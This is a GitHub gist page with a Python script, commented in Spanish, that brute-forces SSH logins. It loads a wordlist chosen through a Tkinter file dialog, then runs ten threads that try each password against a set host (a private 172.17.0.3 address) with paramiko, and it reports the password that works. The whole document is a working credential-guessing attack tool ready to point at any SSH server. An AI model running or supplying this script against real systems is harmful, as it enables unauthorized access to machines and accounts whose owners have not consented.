Skip to content

Instantly share code, notes, and snippets.

@j0rd1s3rr4n0
Created December 19, 2024 21:31
Show Gist options
  • Save j0rd1s3rr4n0/b7ed25d1f18678e05e116bd637c98145 to your computer and use it in GitHub Desktop.
Save j0rd1s3rr4n0/b7ed25d1f18678e05e116bd637c98145 to your computer and use it in GitHub Desktop.
SSH_Bruteforce_NeedWordList.py
import paramiko
import tkinter as tk
from tkinter import filedialog
from threading import Thread, Lock
import queue
# Configuración global
HOST = "172.17.0.3" # Cambia por la IP del servidor SSH
PORT = 22
USERNAME = "USERNAME"
# Variables compartidas entre hilos
password_queue = queue.Queue()
found = False
lock = Lock()
def ssh_brute_force(password):
global found
if found:
return
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(HOST, PORT, username=USERNAME, password=password, timeout=5)
with lock:
if not found:
print(f"[+] Contraseña encontrada: {password}")
found = True
except paramiko.AuthenticationException:
pass
except Exception as e:
print(f"[!] Error: {e}")
finally:
client.close()
def worker():
while not password_queue.empty() and not found:
password = password_queue.get()
ssh_brute_force(password.strip())
password_queue.task_done()
def load_passwords(file_path):
with open(file_path, "r", encoding="latin-1") as f:
for line in f:
password_queue.put(line.strip())
def main():
global found
# Configurar Tkinter para seleccionar el diccionario
root = tk.Tk()
root.withdraw() # Ocultar ventana principal
file_path = filedialog.askopenfilename(title="Selecciona el archivo de diccionario")
if not file_path:
print("No se seleccionó ningún archivo.")
return
print("[*] Cargando diccionario...")
load_passwords(file_path)
# Crear y lanzar hilos
num_threads = 10 # Ajusta según tus necesidades
threads = []
print(f"[*] Iniciando ataque con {num_threads} hilos...")
for _ in range(num_threads):
thread = Thread(target=worker)
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
if not found:
print("[-] No se encontró la contraseña en el diccionario.")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment